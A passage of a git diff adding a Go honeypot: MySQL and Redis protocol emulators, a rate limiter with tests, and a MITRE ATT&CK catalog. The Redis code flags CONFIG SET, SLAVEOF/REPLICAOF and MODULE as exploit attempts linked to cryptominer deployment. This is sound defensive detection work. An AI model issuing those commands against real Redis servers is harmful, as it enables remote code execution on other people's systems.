Discovery", + Tactic: "discovery", + }, + { + ID: "T1057", + Name: "Process Discovery", + Tactic: "discovery", + }, + { + ID: "T1021", + Name: "Remote Services", + Tactic: "lateral-movement", + }, + { + ID: "T1021.004", + Name: "SSH", + Tactic: "lateral-movement", + }, + { + ID: "T1105", + Name: "Ingress Tool Transfer", + Tactic: "command-and-control", + }, + { + ID: "T1071", + Name: "Application Layer Protocol", + Tactic: "command-and-control", + }, + { + ID: "T1071.001", + Name: "Web Protocols", + Tactic: "command-and-control", + }, + { + ID: "T1505.003", + Name: "Web Shell", + Tactic: "persistence", + }, + { + ID: "T1219", + Name: "Remote Access Software", + Tactic: "command-and-control", + }, + { + ID: "T1498", + Name: "Network Denial of Service", + Tactic: "impact", + }, + { + ID: "T1496", + Name: "Resource Hijacking", + Tactic: "impact", + }, + } + + for _, t := range catalog { + i.techniques[t.ID] = t + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/mysqld/handler.go b/PROJECTS/advanced/honeypot-network/internal/mysqld/handler.go new file mode 100644 index 00000000..11cc2252 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/mysqld/handler.go @@ -0,0 +1,363 @@ +/* +©AngelaMos | 2026 +handler.go + +MySQL wire protocol handler for the honeypot + +Implements the MySQL client-server protocol at the packet level: +greeting handshake, authentication parsing, and query response +generation. Builds valid MySQL packets without external dependencies +to give full control over what gets logged and how the honeypot +responds to automated exploitation tools. +*/ + +package mysqld + +import ( + "encoding/binary" + "fmt" + "io" + "net" + "strings" +) + +const ( + comQuit byte = 0x01 + comInitDB byte = 0x02 + comQuery byte = 0x03 + comFieldList byte = 0x04 + comPing byte = 0x0e +) + +const ( + clientProtocol41 uint32 = 1 << 9 + clientSecureConn uint32 = 1 << 15 + clientPluginAuth uint32 = 1 << 19 +) + +const statusAutocommit uint16 = 0x0002 + +func writePacket( + conn net.Conn, seq byte, data []byte, +) error { + header := make([]byte, 4) + header[0] = byte(len(data)) + header[1] = byte(len(data) >> 8) + header[2] = byte(len(data) >> 16) + header[3] = seq + + _, err := conn.Write(append(header, data...)) + return err +} + +func readPacket( + conn net.Conn, +) (byte, []byte, error) { + header := make([]byte, 4) + if _, err := io.ReadFull(conn, header); err != nil { + return 0, nil, err + } + + length := int(header[0]) | + int(header[1])<<8 | + int(header[2])<<16 + seq := header[3] + + if length == 0 { + return seq, nil, nil + } + + if length > 1<<20 { + return seq, nil, fmt.Errorf( + "packet too large: %d", length, + ) + } + + payload := make([]byte, length) + if _, err := io.ReadFull(conn, payload); err != nil { + return seq, nil, err + } + + return seq, payload, nil +} + +func buildGreeting( + version string, connID uint32, +) []byte { + salt1 := []byte{ + 0x52, 0x42, 0x33, 0x76, + 0x7a, 0x26, 0x47, 0x72, + } + salt2 := []byte{ + 0x2b, 0x5a, 0x28, 0x40, 0x22, 0x37, + 0x71, 0x41, 0x2d, 0x64, 0x34, 0x62, 0x00, + } + pluginName := "mysql_native_password" + + caps := clientProtocol41 | + clientSecureConn | + clientPluginAuth + + var buf []byte + buf = append(buf, 10) + buf = append(buf, version...) + buf = append(buf, 0) + + id := make([]byte, 4) + binary.LittleEndian.PutUint32(id, connID) + buf = append(buf, id...) + + buf = append(buf, salt1...) + buf = append(buf, 0) + + lo := make([]byte, 2) + binary.LittleEndian.PutUint16( + lo, uint16(caps&0xFFFF), + ) + buf = append(buf, lo...) + + buf = append(buf, 0x21) + + st := make([]byte, 2) + binary.LittleEndian.PutUint16(st, statusAutocommit) + buf = append(buf, st...) + + hi := make([]byte, 2) + binary.LittleEndian.PutUint16( + hi, uint16((caps>>16)&0xFFFF), + ) + buf = append(buf, hi...) + + buf = append(buf, 21) + buf = append(buf, make([]byte, 10)...) + buf = append(buf, salt2...) + buf = append(buf, pluginName...) + buf = append(buf, 0) + + return buf +} + +func parseAuthUsername(data []byte) string { + if len(data) < 32 { + return "" + } + + rest := data[32:] + for i, b := range rest { + if b == 0 { + return string(rest[:i]) + } + } + return string(rest) +} + +func okPacket() []byte { + return []byte{ + 0x00, + 0x00, + 0x00, + 0x02, 0x00, + 0x00, 0x00, + } +} + +func errPacket( + code uint16, state, msg string, +) []byte { + var buf []byte + buf = append(buf, 0xFF) + + ec := make([]byte, 2) + binary.LittleEndian.PutUint16(ec, code) + buf = append(buf, ec...) + + buf = append(buf, '#') + + padded := state + if len(padded) > 5 { + padded = padded[:5] + } + for len(padded) < 5 { + padded += " " + } + buf = append(buf, padded...) + buf = append(buf, msg...) + + return buf +} + +func eofPacket() []byte { + return []byte{0xFE, 0x00, 0x00, 0x02, 0x00} +} + +func lenEncInt(n int) []byte { + if n < 251 { + return []byte{byte(n)} + } + if n < 1<<16 { + b := make([]byte, 3) + b[0] = 0xFC + binary.LittleEndian.PutUint16(b[1:], uint16(n)) + return b + } + b := make([]byte, 4) + b[0] = 0xFD + b[1] = byte(n) + b[2] = byte(n >> 8) + b[3] = byte(n >> 16) + return b +} + +func lenEncString(s string) []byte { + return append(lenEncInt(len(s)), s...) +} + +func columnDef(name string) []byte { + var buf []byte + buf = append(buf, lenEncString("def")...) + buf = append(buf, lenEncString("")...) + buf = append(buf, lenEncString("")...) + buf = append(buf, lenEncString("")...) + buf = append(buf, lenEncString(name)...) + buf = append(buf, lenEncString(name)...) + buf = append(buf, 0x0C) + buf = append(buf, 0x21, 0x00) + buf = append(buf, 0x00, 0x01, 0x00, 0x00) + buf = append(buf, 0xFD) + buf = append(buf, 0x01, 0x00) + buf = append(buf, 0x00) + buf = append(buf, 0x00, 0x00) + return buf +} + +type queryResult struct { + columns []string + rows [][]string +} + +func handleQuery(query string) *queryResult { + upper := strings.ToUpper(strings.TrimSpace(query)) + + switch { + case strings.HasPrefix(upper, "SELECT @@VERSION"): + return &queryResult{ + columns: []string{"@@version_comment"}, + rows: [][]string{{"(Ubuntu)"}}, + } + + case strings.HasPrefix(upper, "SELECT DATABASE"): + return &queryResult{ + columns: []string{"database()"}, + rows: [][]string{{"mysql"}}, + } + + case strings.HasPrefix(upper, "SELECT USER"): + return &queryResult{ + columns: []string{"user()"}, + rows: [][]string{{"root@localhost"}}, + } + + case upper == "SHOW DATABASES": + return &queryResult{ + columns: []string{"Database"}, + rows: [][]string{ + {"information_schema"}, + {"mysql"}, + {"performance_schema"}, + {"sys"}, + }, + } + + case upper == "SHOW TABLES": + return &queryResult{ + columns: []string{"Tables_in_mysql"}, + rows: [][]string{ + {"columns_priv"}, + {"db"}, + {"event"}, + {"func"}, + {"general_log"}, + {"help_category"}, + {"user"}, + }, + } + + case strings.Contains(upper, "INFORMATION_SCHEMA"): + return &queryResult{ + columns: []string{"TABLE_NAME"}, + rows: [][]string{}, + } + + case strings.HasPrefix(upper, "SELECT @@DATADIR"): + return &queryResult{ + columns: []string{"@@datadir"}, + rows: [][]string{{"/var/lib/mysql/"}}, + } + + case strings.HasPrefix(upper, "SELECT @@HOSTNAME"): + return &queryResult{ + columns: []string{"@@hostname"}, + rows: [][]string{{"ubuntu-server"}}, + } + + case strings.HasPrefix(upper, "SHOW VARIABLES"): + return &queryResult{ + columns: []string{ + "Variable_name", "Value", + }, + rows: [][]string{ + {"version", "5.7.42-0ubuntu0.18.04.1"}, + {"datadir", "/var/lib/mysql/"}, + {"hostname", "ubuntu-server"}, + {"port", "3306"}, + }, + } + } + + return nil +} + +func writeResultSet( + conn net.Conn, seq byte, res *queryResult, +) error { + seq++ + if err := writePacket( + conn, seq, lenEncInt(len(res.columns)), + ); err != nil { + return err + } + + for _, col := range res.columns { + seq++ + if err := writePacket( + conn, seq, columnDef(col), + ); err != nil { + return err + } + } + + seq++ + if err := writePacket( + conn, seq, eofPacket(), + ); err != nil { + return err + } + + for _, row := range res.rows { + seq++ + var rowBuf []byte + for _, val := range row { + rowBuf = append( + rowBuf, lenEncString(val)..., + ) + } + if err := writePacket( + conn, seq, rowBuf, + ); err != nil { + return err + } + } + + seq++ + return writePacket(conn, seq, eofPacket()) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/mysqld/server.go b/PROJECTS/advanced/honeypot-network/internal/mysqld/server.go new file mode 100644 index 00000000..f7e37fe6 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/mysqld/server.go @@ -0,0 +1,280 @@ +/* +©AngelaMos | 2026 +server.go + +MySQL honeypot service accepting database client connections + +Emulates a MySQL 5.7 server using the raw wire protocol. Accepts +all authentication attempts, logs credentials and queries, and +returns realistic responses to common SQL commands. Automated tools +targeting exposed MySQL instances will interact long enough for +the honeypot to capture their full attack sequence. +*/ + +package mysqld + +import ( + "context" + "encoding/json" + "fmt" + "net" + "sync/atomic" + "time" + + "github.com/google/uuid" + "github.com/rs/zerolog" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type MySQLService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter + connID atomic.Uint32 +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) *MySQLService { + return &MySQLService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "mysql").Logger(), + tracker: tracker, + limiter: limiter, + } +} + +func (s *MySQLService) Name() string { return "mysql" } + +func (s *MySQLService) Start( + ctx context.Context, +) error { + addr := s.cfg.Addr(s.cfg.MySQL.Port) + + listener, err := net.Listen("tcp", addr) + if err != nil { + return fmt.Errorf( + "mysql listen %s: %w", addr, err, + ) + } + + s.logger.Info(). + Str("addr", addr). + Msg("mysql honeypot listening") + + go func() { + <-ctx.Done() + _ = listener.Close() + }() + + for ctx.Err() == nil { + conn, err := listener.Accept() + if err != nil { + s.logger.Debug(). + Err(err).Msg("accept failed") + continue + } + + go s.handleConnection(ctx, conn) + } + + return nil +} + +func (s *MySQLService) handleConnection( + ctx context.Context, conn net.Conn, +) { + defer func() { _ = conn.Close() }() + + srcIP, srcPort := types.RemoteAddr(conn) + if !s.limiter.Allow(srcIP) { + return + } + + sess := s.tracker.Start( + s.cfg.Sensor.ID, types.ServiceMySQL, + srcIP, srcPort, s.cfg.MySQL.Port, + ) + defer s.tracker.End(sess.ID) + + s.publishConnect(sess, srcIP, srcPort) + defer s.publishDisconnect(sess, srcIP, srcPort) + + connID := s.connID.Add(1) + + greeting := buildGreeting( + s.cfg.MySQL.ServerVersion, connID, + ) + if err := writePacket(conn, 0, greeting); err != nil { + return + } + + seq, authData, err := readPacket(conn) + if err != nil { + return + } + + username := parseAuthUsername(authData) + s.publishAuth(sess.ID, srcIP, username) + s.tracker.SetLogin(sess.ID, true, username, "") + + if err := writePacket( + conn, seq+1, okPacket(), + ); err != nil { + return + } + + for { + if ctx.Err() != nil { + return + } + + seq, data, err := readPacket(conn) + if err != nil || len(data) == 0 { + return + } + + cmd := data[0] + payload := "" + if len(data) > 1 { + payload = string(data[1:]) + } + + switch cmd { + case comQuit: + return + + case comPing: + _ = writePacket(conn, seq+1, okPacket()) + + case comInitDB: + s.publishCommand( + sess.ID, srcIP, "USE "+payload, + ) + _ = writePacket(conn, seq+1, okPacket()) + + case comQuery: + s.publishCommand( + sess.ID, srcIP, payload, + ) + s.tracker.IncrCommandCount(sess.ID) + + result := handleQuery(payload) + if result != nil { + _ = writeResultSet(conn, seq, result) + } else { + _ = writePacket( + conn, seq+1, okPacket(), + ) + } + + default: + _ = writePacket( + conn, seq+1, + errPacket( + 1047, "08S01", + "Unknown command", + ), + ) + } + } +} + +func (s *MySQLService) publishConnect( + sess *types.Session, + srcIP string, + srcPort int, +) { + s.bus.Publish(config.TopicConnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceMySQL, + EventType: types.EventConnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.MySQL.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *MySQLService) publishDisconnect( + sess *types.Session, + srcIP string, + srcPort int, +) { + s.bus.Publish(config.TopicDisconnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceMySQL, + EventType: types.EventDisconnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.MySQL.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *MySQLService) publishAuth( + sessionID string, + srcIP string, + username string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "username": username, + "auth_method": "mysql_native_password", + }) + + s.bus.Publish(config.TopicAuth, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceMySQL, + EventType: types.EventLoginSuccess, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} + +func (s *MySQLService) publishCommand( + sessionID string, + srcIP string, + query string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "query": query, + }) + + s.bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceMySQL, + EventType: types.EventCommand, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter.go b/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter.go new file mode 100644 index 00000000..73ed10c7 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter.go @@ -0,0 +1,101 @@ +/* +©AngelaMos | 2026 +limiter.go + +Per-IP token bucket rate limiter with automatic cleanup + +Each unique IP gets its own rate.Limiter. A background goroutine +periodically evicts entries that have not been seen recently to +prevent unbounded memory growth from scanning traffic. +*/ + +package ratelimit + +import ( + "sync" + "time" + + "golang.org/x/time/rate" + + "github.com/CarterPerez-dev/hive/internal/config" +) + +type entry struct { + limiter *rate.Limiter + lastSeen time.Time +} + +type IPLimiter struct { + mu sync.Mutex + limiters map[string]*entry + rate rate.Limit + burst int + stop chan struct{} +} + +func NewIPLimiter( + r rate.Limit, burst int, +) *IPLimiter { + l := &IPLimiter{ + limiters: make(map[string]*entry), + rate: r, + burst: burst, + stop: make(chan struct{}), + } + + go l.cleanup() + + return l +} + +func (l *IPLimiter) Allow(ip string) bool { + l.mu.Lock() + defer l.mu.Unlock() + + e, exists := l.limiters[ip] + if !exists { + e = &entry{ + limiter: rate.NewLimiter(l.rate, l.burst), + } + l.limiters[ip] = e + } + + e.lastSeen = time.Now() + return e.limiter.Allow() +} + +func (l *IPLimiter) Stop() { + close(l.stop) +} + +func (l *IPLimiter) cleanup() { + ticker := time.NewTicker(config.DefaultRateLimitCleanup) + defer ticker.Stop() + + for { + select { + case <-l.stop: + return + case <-ticker.C: + l.evictStale() + } + } +} + +func (l *IPLimiter) evictStale() { + l.mu.Lock() + defer l.mu.Unlock() + + cutoff := time.Now().Add(-config.DefaultRateLimitCleanup) + for ip, e := range l.limiters { + if e.lastSeen.Before(cutoff) { + delete(l.limiters, ip) + } + } +} + +func (l *IPLimiter) Count() int { + l.mu.Lock() + defer l.mu.Unlock() + return len(l.limiters) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter_test.go b/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter_test.go new file mode 100644 index 00000000..d2bef868 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ratelimit/limiter_test.go @@ -0,0 +1,83 @@ +/* +©AngelaMos | 2026 +limiter_test.go +*/ + +package ratelimit + +import ( + "fmt" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "golang.org/x/time/rate" +) + +func TestAllowWithinBurst(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 3) + defer l.Stop() + + assert.True(t, l.Allow("10.0.0.1")) + assert.True(t, l.Allow("10.0.0.1")) + assert.True(t, l.Allow("10.0.0.1")) +} + +func TestAllowExceedsBurst(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 2) + defer l.Stop() + + assert.True(t, l.Allow("10.0.0.1")) + assert.True(t, l.Allow("10.0.0.1")) + assert.False(t, l.Allow("10.0.0.1")) +} + +func TestDifferentIPsIndependent(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 1) + defer l.Stop() + + assert.True(t, l.Allow("10.0.0.1")) + assert.False(t, l.Allow("10.0.0.1")) + + assert.True(t, l.Allow("10.0.0.2")) +} + +func TestCountTracksUniqueIPs(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 5) + defer l.Stop() + + l.Allow("10.0.0.1") + l.Allow("10.0.0.2") + l.Allow("10.0.0.3") + assert.Equal(t, 3, l.Count()) + + l.Allow("10.0.0.1") + assert.Equal(t, 3, l.Count()) +} + +func TestAllowConcurrent(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 100) + defer l.Stop() + + var wg sync.WaitGroup + for i := range 50 { + wg.Add(1) + go func(idx int) { + defer wg.Done() + ip := fmt.Sprintf("10.0.%d.%d", idx/256, idx%256) + l.Allow(ip) + }(i) + } + wg.Wait() + + assert.Equal(t, 50, l.Count()) +} + +func TestStopLifecycle(t *testing.T) { + l := NewIPLimiter(rate.Every(time.Hour), 5) + l.Allow("10.0.0.1") + l.Stop() + + assert.Equal(t, 1, l.Count()) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/redisd/commands.go b/PROJECTS/advanced/honeypot-network/internal/redisd/commands.go new file mode 100644 index 00000000..516e9b46 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/redisd/commands.go @@ -0,0 +1,270 @@ +/* +©AngelaMos | 2026 +commands.go + +Redis command handlers for the RESP protocol honeypot + +Emulates enough Redis commands to engage automated scanners and +manual attackers. CONFIG SET and SLAVEOF commands are logged as +exploit attempts since they are commonly used for cryptominer +deployment and unauthorized replication attacks. +*/ + +package redisd + +import ( + "fmt" + "strings" + "sync" + + "github.com/tidwall/redcon" +) + +type safeStore struct { + mu sync.RWMutex + data map[string]string +} + +func newSafeStore() *safeStore { + return &safeStore{data: make(map[string]string)} +} + +func (s *safeStore) set(k, v string) { + s.mu.Lock() + s.data[k] = v + s.mu.Unlock() +} + +func (s *safeStore) get(k string) (string, bool) { + s.mu.RLock() + v, ok := s.data[k] + s.mu.RUnlock() + return v, ok +} + +func (s *safeStore) size() int { + s.mu.RLock() + n := len(s.data) + s.mu.RUnlock() + return n +} + +func (s *safeStore) flush() { + s.mu.Lock() + s.data = make(map[string]string) + s.mu.Unlock() +} + +func handleCommand( + conn redcon.Conn, cmd redcon.Command, + version string, keys *safeStore, +) string { + name := strings.ToUpper(string(cmd.Args[0])) + + switch name { + case "PING": + if len(cmd.Args) > 1 { + conn.WriteBulk(cmd.Args[1]) + return name + } + conn.WriteString("PONG") + return name + + case "AUTH": + conn.WriteError("ERR Client sent AUTH, but no password is set") + return name + + case "INFO": + conn.WriteBulkString(fakeInfo(version)) + return name + + case "CONFIG": + return handleConfig(conn, cmd) + + case "SET": + if len(cmd.Args) < 3 { + conn.WriteError( + "ERR wrong number of arguments for 'set' command", + ) + return name + } + keys.set(string(cmd.Args[1]), string(cmd.Args[2])) + conn.WriteString("OK") + return name + + case "GET": + if len(cmd.Args) < 2 { + conn.WriteError( + "ERR wrong number of arguments for 'get' command", + ) + return name + } + val, ok := keys.get(string(cmd.Args[1])) + if ok { + conn.WriteBulkString(val) + } else { + conn.WriteNull() + } + return name + + case "KEYS": + if len(cmd.Args) < 2 { + conn.WriteError( + "ERR wrong number of arguments for 'keys' command", + ) + return name + } + conn.WriteArray(0) + return name + + case "DBSIZE": + conn.WriteInt(keys.size()) + return name + + case "COMMAND": + conn.WriteArray(0) + return name + + case "SELECT": + conn.WriteString("OK") + return name + + case "FLUSHALL", "FLUSHDB": + keys.flush() + conn.WriteString("OK") + return name + + case "QUIT": + conn.WriteString("OK") + _ = conn.Close() + return name + + case cmdSlaveOf, cmdReplicaOf: + conn.WriteString("OK") + return name + + case "MODULE": + conn.WriteError( + "ERR unknown command 'MODULE'", + ) + return name + + case "EVAL", "EVALSHA": + conn.WriteError( + "NOSCRIPT No matching script", + ) + return name + + case "DEBUG": + conn.WriteError( + "ERR DEBUG command not allowed", + ) + return name + + case "CLUSTER": + conn.WriteError( + "ERR This instance has cluster support disabled", + ) + return name + + default: + conn.WriteError( + fmt.Sprintf( + "ERR unknown command '%s'", + strings.ToLower(name), + ), + ) + return name + } +} + +func handleConfig( + conn redcon.Conn, cmd redcon.Command, +) string { + if len(cmd.Args) < 2 { + conn.WriteError( + "ERR wrong number of arguments for 'config' command", + ) + return "CONFIG" + } + + sub := strings.ToUpper(string(cmd.Args[1])) + + switch sub { + case "GET": + if len(cmd.Args) < 3 { + conn.WriteError( + "ERR wrong number of arguments for 'config|get' command", + ) + return "CONFIG GET" + } + param := strings.ToLower(string(cmd.Args[2])) + switch param { + case "dir": + conn.WriteArray(2) + conn.WriteBulkString("dir") + conn.WriteBulkString("/var/lib/redis") + case "dbfilename": + conn.WriteArray(2) + conn.WriteBulkString("dbfilename") + conn.WriteBulkString("dump.rdb") + case "save": + conn.WriteArray(2) + conn.WriteBulkString("save") + conn.WriteBulkString("3600 1 300 100 60 10000") + default: + conn.WriteArray(0) + } + return "CONFIG GET" + + case "SET": + conn.WriteString("OK") + return cmdConfigSet + + case "RESETSTAT": + conn.WriteString("OK") + return "CONFIG RESETSTAT" + + default: + conn.WriteError( + fmt.Sprintf( + "ERR Unknown subcommand or wrong number of arguments for 'config|%s' command", + strings.ToLower(sub), + ), + ) + return "CONFIG " + sub + } +} + +func fakeInfo(version string) string { + return fmt.Sprintf( + "# Server\r\n"+ + "redis_version:%s\r\n"+ + "redis_git_sha1:00000000\r\n"+ + "redis_git_dirty:0\r\n"+ + "redis_build_id:abc123def456\r\n"+ + "redis_mode:standalone\r\n"+ + "os:Linux 5.15.0-105-generic x86_64\r\n"+ + "arch_bits:64\r\n"+ + "multiplexing_api:epoll\r\n"+ + "gcc_version:11.4.0\r\n"+ + "process_id:1024\r\n"+ + "run_id:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\r\n"+ + "tcp_port:6379\r\n"+ + "uptime_in_seconds:1234567\r\n"+ + "uptime_in_days:14\r\n"+ + "hz:10\r\n\r\n"+ + "# Clients\r\n"+ + "connected_clients:1\r\n"+ + "blocked_clients:0\r\n\r\n"+ + "# Memory\r\n"+ + "used_memory:1048576\r\n"+ + "used_memory_human:1.00M\r\n"+ + "used_memory_rss:2097152\r\n"+ + "used_memory_peak:2097152\r\n"+ + "used_memory_peak_human:2.00M\r\n\r\n"+ + "# Keyspace\r\n"+ + "db0:keys=0,expires=0,avg_ttl=0\r\n", + version, + ) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/redisd/server.go b/PROJECTS/advanced/honeypot-network/internal/redisd/server.go new file mode 100644 index 00000000..fddde5d4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/redisd/server.go @@ -0,0 +1,280 @@ +/* +©AngelaMos | 2026 +server.go + +Redis RESP protocol honeypot using the redcon library + +Listens for Redis client connections and dispatches commands through +the RESP handler. CONFIG SET and SLAVEOF commands are flagged as +exploit attempts commonly used for cryptominer deployment and +unauthorized replication attacks. Every connection and command is +published to the event bus for analysis. +*/ + +package redisd + +import ( + "context" + "encoding/json" + "net" + "strconv" + "strings" + "time" + + "github.com/google/uuid" + "github.com/rs/zerolog" + "github.com/tidwall/redcon" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const ( + cmdConfigSet = "CONFIG SET" + cmdSlaveOf = "SLAVEOF" + cmdReplicaOf = "REPLICAOF" + cmdModule = "MODULE" +) + +type connState struct { + sessionID string + srcIP string + srcPort int + keys *safeStore +} + +type RedisService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) *RedisService { + return &RedisService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "redis").Logger(), + tracker: tracker, + limiter: limiter, + } +} + +func (s *RedisService) Name() string { return "redis" } + +func (s *RedisService) Start(ctx context.Context) error { + addr := s.cfg.Addr(s.cfg.Redis.Port) + + srv := redcon.NewServer( + addr, s.handleCmd, s.handleAccept, s.handleClose, + ) + + s.logger.Info(). + Str("addr", addr). + Msg("redis honeypot listening") + + go func() { + <-ctx.Done() + _ = srv.Close() + }() + + return srv.ListenAndServe() +} + +func (s *RedisService) handleCmd( + conn redcon.Conn, cmd redcon.Command, +) { + state, ok := conn.Context().(*connState) + if !ok { + _ = conn.Close() + return + } + + cmdName := handleCommand( + conn, cmd, s.cfg.Redis.ServerVersion, + state.keys, + ) + + s.publishCommand(state, cmd, cmdName) + + if isExploitCommand(cmdName) { + s.publishExploit(state, cmd, cmdName) + } +} + +func (s *RedisService) handleAccept( + conn redcon.Conn, +) bool { + srcIP, srcPort := parseRedconAddr(conn.RemoteAddr()) + + if !s.limiter.Allow(srcIP) { + return false + } + + sess := s.tracker.Start( + s.cfg.Sensor.ID, types.ServiceRedis, + srcIP, srcPort, s.cfg.Redis.Port, + ) + + conn.SetContext(&connState{ + sessionID: sess.ID, + srcIP: srcIP, + srcPort: srcPort, + keys: newSafeStore(), + }) + + s.publishConnect(sess, srcIP, srcPort) + return true +} + +func (s *RedisService) handleClose( + conn redcon.Conn, _ error, +) { + state, ok := conn.Context().(*connState) + if !ok { + return + } + + s.tracker.End(state.sessionID) + s.publishDisconnect(state) +} + +func (s *RedisService) publishConnect( + sess *types.Session, srcIP string, srcPort int, +) { + s.bus.Publish(config.TopicConnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceRedis, + EventType: types.EventConnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.Redis.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *RedisService) publishDisconnect(state *connState) { + s.bus.Publish(config.TopicDisconnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: state.sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceRedis, + EventType: types.EventDisconnect, + SourceIP: state.srcIP, + SourcePort: state.srcPort, + DestPort: s.cfg.Redis.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *RedisService) publishCommand( + state *connState, + cmd redcon.Command, + cmdName string, +) { + raw := buildCommandArgs(cmd) + + serviceData, _ := json.Marshal(map[string]string{ + "command": cmdName, + "raw": raw, + }) + + s.bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: state.sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceRedis, + EventType: types.EventCommand, + SourceIP: state.srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} + +func (s *RedisService) publishExploit( + state *connState, + cmd redcon.Command, + cmdName string, +) { + raw := buildCommandArgs(cmd) + + tags := []string{"redis-exploit"} + switch { + case cmdName == cmdConfigSet: + tags = append( + tags, "redis-rce", "mitre:T1059", + ) + case cmdName == cmdSlaveOf || cmdName == cmdReplicaOf: + tags = append( + tags, + "unauthorized-replication", + "mitre:T1021", + ) + case cmdName == cmdModule: + tags = append( + tags, "module-load", "mitre:T1059", + ) + } + + serviceData, _ := json.Marshal(map[string]string{ + "command": cmdName, + "raw": raw, + }) + + s.bus.Publish(config.TopicExploit, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: state.sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceRedis, + EventType: types.EventExploit, + SourceIP: state.srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + Tags: tags, + ServiceData: serviceData, + }) +} + +func parseRedconAddr(addr string) (string, int) { + host, portStr, err := net.SplitHostPort(addr) + if err != nil { + return addr, 0 + } + port, _ := strconv.Atoi(portStr) + return host, port +} + +func isExploitCommand(cmdName string) bool { + switch cmdName { + case cmdConfigSet, cmdSlaveOf, cmdReplicaOf, cmdModule: + return true + } + return false +} + +func buildCommandArgs(cmd redcon.Command) string { + parts := make([]string, len(cmd.Args)) + for i, arg := range cmd.Args { + parts[i] = string(arg) + } + return strings.Join(parts, " ") +} diff --git a/PROJECTS/advanced/honeypot-network/internal/session/recorder.go b/PROJECTS/advanced/honeypot-network/internal/session/recorder.go new file mode 100644 index 00000000..168092f1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/session/recorder.go @@ -0,0 +1,185 @@ +/* 